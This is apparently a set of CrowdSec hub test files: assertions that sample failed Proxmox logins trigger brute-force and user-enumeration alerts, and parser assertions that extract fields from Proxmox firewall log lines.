results[0].Overflow.Sources["::ffff:172.21.10.2"].GetScope() == "Ip" results[0].Overflow.Sources["::ffff:172.21.10.2"].GetValue() == "::ffff:172.21.10.2" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "proxmox-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "pve_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "hypervisor" results[0].Overflow.Alert.Events[0].GetMeta("service") == "pvedaemon" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "::ffff:172.21.10.2" results[0].Overflow.Alert.Events[0].GetMeta("source_user") == "toor" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-01-04T17:34:01Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "proxmox-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "pve_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "hypervisor" results[0].Overflow.Alert.Events[1].GetMeta("service") == "pvedaemon" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "::ffff:172.21.10.2" results[0].Overflow.Alert.Events[1].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-01-04T17:34:02Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "proxmox-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "pve_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "hypervisor" results[0].Overflow.Alert.Events[2].GetMeta("service") == "pvedaemon" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "::ffff:172.21.10.2" results[0].Overflow.Alert.Events[2].GetMeta("source_user") == "toor" results[0].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-01-04T17:34:01Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "proxmox-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "pve_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "hypervisor" results[0].Overflow.Alert.Events[3].GetMeta("service") == "pvedaemon" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "::ffff:172.21.10.2" results[0].Overflow.Alert.Events[3].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-01-04T17:34:02Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "proxmox-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "pve_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "hypervisor" results[0].Overflow.Alert.Events[4].GetMeta("service") == "pvedaemon" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "::ffff:172.21.10.2" results[0].Overflow.Alert.Events[4].GetMeta("source_user") == "toor" results[0].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-01-04T17:34:01Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "proxmox-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "pve_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "hypervisor" results[0].Overflow.Alert.Events[5].GetMeta("service") == "pvedaemon" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "::ffff:172.21.10.2" results[0].Overflow.Alert.Events[5].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-01-04T17:34:02Z" results[0].Overflow.Alert.GetScenario() == "fulljackz/proxmox-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "2001:abcd:1234:abcd::1" in results[1].Overflow.GetSources() results[1].Overflow.Sources["2001:abcd:1234:abcd::1"].IP == "2001:abcd:1234:abcd::1" results[1].Overflow.Sources["2001:abcd:1234:abcd::1"].Range == "" results[1].Overflow.Sources["2001:abcd:1234:abcd::1"].GetScope() == "Ip" results[1].Overflow.Sources["2001:abcd:1234:abcd::1"].GetValue() == "2001:abcd:1234:abcd::1" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "proxmox-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "pve_failed-auth" results[1].Overflow.Alert.Events[0].GetMeta("machine") == "hypervsior" results[1].Overflow.Alert.Events[0].GetMeta("service") == "pvedaemon" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[1].Overflow.Alert.Events[0].GetMeta("source_user") == "a" results[1].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-01-10T17:34:02Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "proxmox-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "pve_failed-auth" results[1].Overflow.Alert.Events[1].GetMeta("machine") == "hypervisor" results[1].Overflow.Alert.Events[1].GetMeta("service") == "pvedaemon" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[1].Overflow.Alert.Events[1].GetMeta("source_user") == "b" results[1].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "proxmox-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "pve_failed-auth" results[1].Overflow.Alert.Events[2].GetMeta("machine") == "hypervisor" results[1].Overflow.Alert.Events[2].GetMeta("service") == "pvedaemon" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[1].Overflow.Alert.Events[2].GetMeta("source_user") == "c" results[1].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "proxmox-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "pve_failed-auth" results[1].Overflow.Alert.Events[3].GetMeta("machine") == "hypervisor" results[1].Overflow.Alert.Events[3].GetMeta("service") == "pvedaemon" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[1].Overflow.Alert.Events[3].GetMeta("source_user") == "d" results[1].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "proxmox-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "pve_failed-auth" results[1].Overflow.Alert.Events[4].GetMeta("machine") == "hypervisor" results[1].Overflow.Alert.Events[4].GetMeta("service") == "pvedaemon" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[1].Overflow.Alert.Events[4].GetMeta("source_user") == "e" results[1].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "proxmox-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "pve_failed-auth" results[1].Overflow.Alert.Events[5].GetMeta("machine") == "hypervisor" results[1].Overflow.Alert.Events[5].GetMeta("service") == "pvedaemon" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[1].Overflow.Alert.Events[5].GetMeta("source_user") == "f" results[1].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[1].Overflow.Alert.GetScenario() == "fulljackz/proxmox-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 "2001:abcd:1234:abcd::1" in results[2].Overflow.GetSources() results[2].Overflow.Sources["2001:abcd:1234:abcd::1"].IP == "2001:abcd:1234:abcd::1" results[2].Overflow.Sources["2001:abcd:1234:abcd::1"].Range == "" results[2].Overflow.Sources["2001:abcd:1234:abcd::1"].GetScope() == "Ip" results[2].Overflow.Sources["2001:abcd:1234:abcd::1"].GetValue() == "2001:abcd:1234:abcd::1" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "proxmox-bf.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "pve_failed-auth" results[2].Overflow.Alert.Events[0].GetMeta("machine") == "hypervsior" results[2].Overflow.Alert.Events[0].GetMeta("service") == "pvedaemon" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[2].Overflow.Alert.Events[0].GetMeta("source_user") == "a" results[2].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-01-10T17:34:02Z" results[2].Overflow.Alert.Events[1].GetMeta("datasource_path") == "proxmox-bf.log" results[2].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[1].GetMeta("log_type") == "pve_failed-auth" results[2].Overflow.Alert.Events[1].GetMeta("machine") == "hypervisor" results[2].Overflow.Alert.Events[1].GetMeta("service") == "pvedaemon" results[2].Overflow.Alert.Events[1].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[2].Overflow.Alert.Events[1].GetMeta("source_user") == "b" results[2].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[2].Overflow.Alert.Events[2].GetMeta("datasource_path") == "proxmox-bf.log" results[2].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[2].GetMeta("log_type") == "pve_failed-auth" results[2].Overflow.Alert.Events[2].GetMeta("machine") == "hypervisor" results[2].Overflow.Alert.Events[2].GetMeta("service") == "pvedaemon" results[2].Overflow.Alert.Events[2].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[2].Overflow.Alert.Events[2].GetMeta("source_user") == "c" results[2].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[2].Overflow.Alert.Events[3].GetMeta("datasource_path") == "proxmox-bf.log" results[2].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[3].GetMeta("log_type") == "pve_failed-auth" results[2].Overflow.Alert.Events[3].GetMeta("machine") == "hypervisor" results[2].Overflow.Alert.Events[3].GetMeta("service") == "pvedaemon" results[2].Overflow.Alert.Events[3].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[2].Overflow.Alert.Events[3].GetMeta("source_user") == "d" results[2].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[2].Overflow.Alert.Events[4].GetMeta("datasource_path") == "proxmox-bf.log" results[2].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[4].GetMeta("log_type") == "pve_failed-auth" results[2].Overflow.Alert.Events[4].GetMeta("machine") == "hypervisor" results[2].Overflow.Alert.Events[4].GetMeta("service") == "pvedaemon" results[2].Overflow.Alert.Events[4].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[2].Overflow.Alert.Events[4].GetMeta("source_user") == "e" results[2].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[2].Overflow.Alert.Events[5].GetMeta("datasource_path") == "proxmox-bf.log" results[2].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[5].GetMeta("log_type") == "pve_failed-auth" results[2].Overflow.Alert.Events[5].GetMeta("machine") == "hypervisor" results[2].Overflow.Alert.Events[5].GetMeta("service") == "pvedaemon" results[2].Overflow.Alert.Events[5].GetMeta("source_ip") == "2001:abcd:1234:abcd::1" results[2].Overflow.Alert.Events[5].GetMeta("source_user") == "f" results[2].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-01-10T17:34:03Z" results[2].Overflow.Alert.GetScenario() == "fulljackz/proxmox-bf-user-enum" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/proxmox-iptables-logs/000077500000000000000000000000001437532772500174335ustar00rootroot00000000000000hub1/.tests/proxmox-iptables-logs/config.yaml000066400000000000000000000003341437532772500215640ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/aderumier/proxmox-iptables-logs.yaml - crowdsecurity/syslog-logs scenarios: - "" postoverflows: - "" log_file: proxmox-iptables.log log_type: pve-firewall labels: {} ignore_parsers: false hub1/.tests/proxmox-iptables-logs/parser.assert000066400000000000000000000532451437532772500221630ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 10 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "0 3 PVEFW-HOST-IN 20/Jun/2022:13:09:14 +0200 policy DROP: IN=vmbr0.94 MAC=24:8a:07:9a:2a:f2:24:8a:07:50:2c:9e:08:00 SRC=10.3.94.11 DST=10.3.94.12 LEN=52 TOS=0x00 PREC=0xC0 TTL=255 ID=64317 DF PROTO=UDP SPT=49152 DPT=3784 LEN=32" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "0 0 PVEFW-HOST-IN 20/Jun/2022:13:09:14 +0200 ACCEPT: IN=vmbr0.94 MAC=24:8a:07:9a:2a:f2:d4:af:f7:44:93:1f:08:00 SRC=10.3.95.34 DST=10.3.94.12 LEN=60 TOS=0x00 PREC=0x00 TTL=62 ID=64432 DF PROTO=TCP SPT=56386 DPT=8006 SEQ=2853565861 ACK=0 WINDOW=64240 SYN " results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "0 2 PVEFW-HOST-IN 20/Jun/2022:13:09:25 +0200 REJECT: IN=vmbr0.94 MAC=24:8a:07:9a:2a:f2:d4:af:f7:44:79:d1:08:00 SRC=10.3.95.34 DST=10.3.94.12 LEN=60 TOS=0x10 PREC=0x00 TTL=62 ID=52883 DF PROTO=TCP SPT=36504 DPT=3306 SEQ=2315974272 ACK=0 WINDOW=64240 SYN " results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "101 1 tap101i0-IN 20/Jun/2022:13:12:46 +0200 REJECT: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=37700 DF PROTO=TCP SPT=51604 DPT=22 SEQ=3673568222 ACK=0 WINDOW=64240 SYN " results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "101 1 tap101i0-IN 20/Jun/2022:13:13:14 +0200 ACCEPT: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=28091 DF PROTO=TCP SPT=43506 DPT=3306 SEQ=2987056794 ACK=0 WINDOW=64240 SYN " results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "101 1 tap101i0-IN 20/Jun/2022:13:13:32 +0200 PVEFW-reject: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=24:8a:07:50:2c:ef:5e:29:c3:7c:13:a3:86:dd SRC=2a0a:1580::a DST=2a0a:1580::17 LEN=40 TC=0 FLOWLBL=634336 HOPLIMIT=64 PROTO=TCP SPT=59368 DPT=22 SEQ=3146558957 ACK=0 WINDOW=64800 SYN " results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "101 1 tap101i0-OUT 20/Jun/2022:13:15:19 +0200 REJECT: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=tap101i0 PHYSOUT=fwln101i0 MAC=22:6c:1e:a0:78:c8:a2:1b:bb:df:61:a5:08:00 SRC=10.3.95.200 DST=10.3.95.10 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=15974 DF PROTO=TCP SPT=51348 DPT=22 SEQ=3194692351 ACK=0 WINDOW=64240 SYN " results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "0 1 PVEFW-HOST-OUT 20/Jun/2022:13:16:23 +0200 REJECT: OUT=vmbr0.94 SRC=10.3.94.12 DST=10.3.94.10 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=59156 DF PROTO=TCP SPT=49566 DPT=22 SEQ=708451139 ACK=0 WINDOW=64240 SYN " results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][8].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["message"] == "0 5 GROUP-security1-IN 20/Jun/2022:15:52:26 +0200 IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=8526 DF PROTO=TCP SPT=51606 DPT=22 SEQ=3720078294 ACK=0 WINDOW=64240 SYN" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][9].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["message"] == "101 1 tap101i0-IN 20/Jun/2022:16:20:14 +0200 DROP: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=48066 DF PROTO=TCP SPT=51610 DPT=22 SEQ=2077327725 ACK=0 WINDOW=64240 SYN " results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["program"] == "pve-firewall" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 10 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == false len(results["s01-parse"]["aderumier/proxmox-iptables-logs"]) == 10 results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Success == true results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["dst_ip"] == "10.3.94.12" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["id"] == "64317" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["iface"] == "vmbr0.94" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["loglevel"] == "3" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["message"] == "0 3 PVEFW-HOST-IN 20/Jun/2022:13:09:14 +0200 policy DROP: IN=vmbr0.94 MAC=24:8a:07:9a:2a:f2:24:8a:07:50:2c:9e:08:00 SRC=10.3.94.11 DST=10.3.94.12 LEN=52 TOS=0x00 PREC=0xC0 TTL=255 ID=64317 DF PROTO=UDP SPT=49152 DPT=3784 LEN=32" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["prec"] == "C0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["src_ip"] == "10.3.94.11" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["data_length"] == "32" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["ttl"] == "255" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["vmid"] == "0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["action"] == "DROP" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["dst_mac"] == "24:8a:07:9a:2a:f2" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["int_eth"] == "PVEFW-HOST" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["proto"] == "UDP" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["src_port"] == "49152" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["logdate"] == "20/Jun/2022:13:09:14 +0200" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["program"] == "pve-firewall" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["tos"] == "00" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Parsed["dst_port"] == "3784" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Meta["log_type"] == "iptables_drop" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Meta["service"] == "tcp" results["s01-parse"]["aderumier/proxmox-iptables-logs"][0].Evt.Meta["source_ip"] == "10.3.94.11" results["s01-parse"]["aderumier/proxmox-iptables-logs"][1].Success == false results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Success == true results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["id"] == "52883" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["iface"] == "vmbr0.94" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["src_port"] == "36504" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["tcp_flags"] == "SYN" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["dst_ip"] == "10.3.94.12" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["int_eth"] == "PVEFW-HOST" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["program"] == "pve-firewall" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["src_ip"] == "10.3.95.34" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["ack"] == "0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["action"] == "REJECT" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["dst_mac"] == "24:8a:07:9a:2a:f2" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["logdate"] == "20/Jun/2022:13:09:25 +0200" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["loglevel"] == "2" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["message"] == "0 2 PVEFW-HOST-IN 20/Jun/2022:13:09:25 +0200 REJECT: IN=vmbr0.94 MAC=24:8a:07:9a:2a:f2:d4:af:f7:44:79:d1:08:00 SRC=10.3.95.34 DST=10.3.94.12 LEN=60 TOS=0x10 PREC=0x00 TTL=62 ID=52883 DF PROTO=TCP SPT=36504 DPT=3306 SEQ=2315974272 ACK=0 WINDOW=64240 SYN " results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["ttl"] == "62" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["vmid"] == "0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["dst_port"] == "3306" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["prec"] == "00" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Parsed["tos"] == "10" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Meta["datasource_path"] == "proxmox-iptables.log" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Meta["log_type"] == "iptables_drop" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Meta["service"] == "tcp" results["s01-parse"]["aderumier/proxmox-iptables-logs"][2].Evt.Meta["source_ip"] == "10.3.95.34" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Success == true results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["dst_mac"] == "a2:1b:bb:df:61:a5" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["int_eth"] == "tap101i0" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["message"] == "101 1 tap101i0-IN 20/Jun/2022:13:12:46 +0200 REJECT: IN=fwbr101i0 OUT=fwbr101i0 PHYSIN=fwln101i0 PHYSOUT=tap101i0 MAC=a2:1b:bb:df:61:a5:6e:68:28:cc:2a:0c:08:00 SRC=10.3.95.34 DST=10.3.95.200 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=37700 DF PROTO=TCP SPT=51604 DPT=22 SEQ=3673568222 ACK=0 WINDOW=64240 SYN " results["s01-parse"]["aderumier/proxmox-iptables-logs"][3].Evt.Parsed["oface"] == "fwbr101i0" 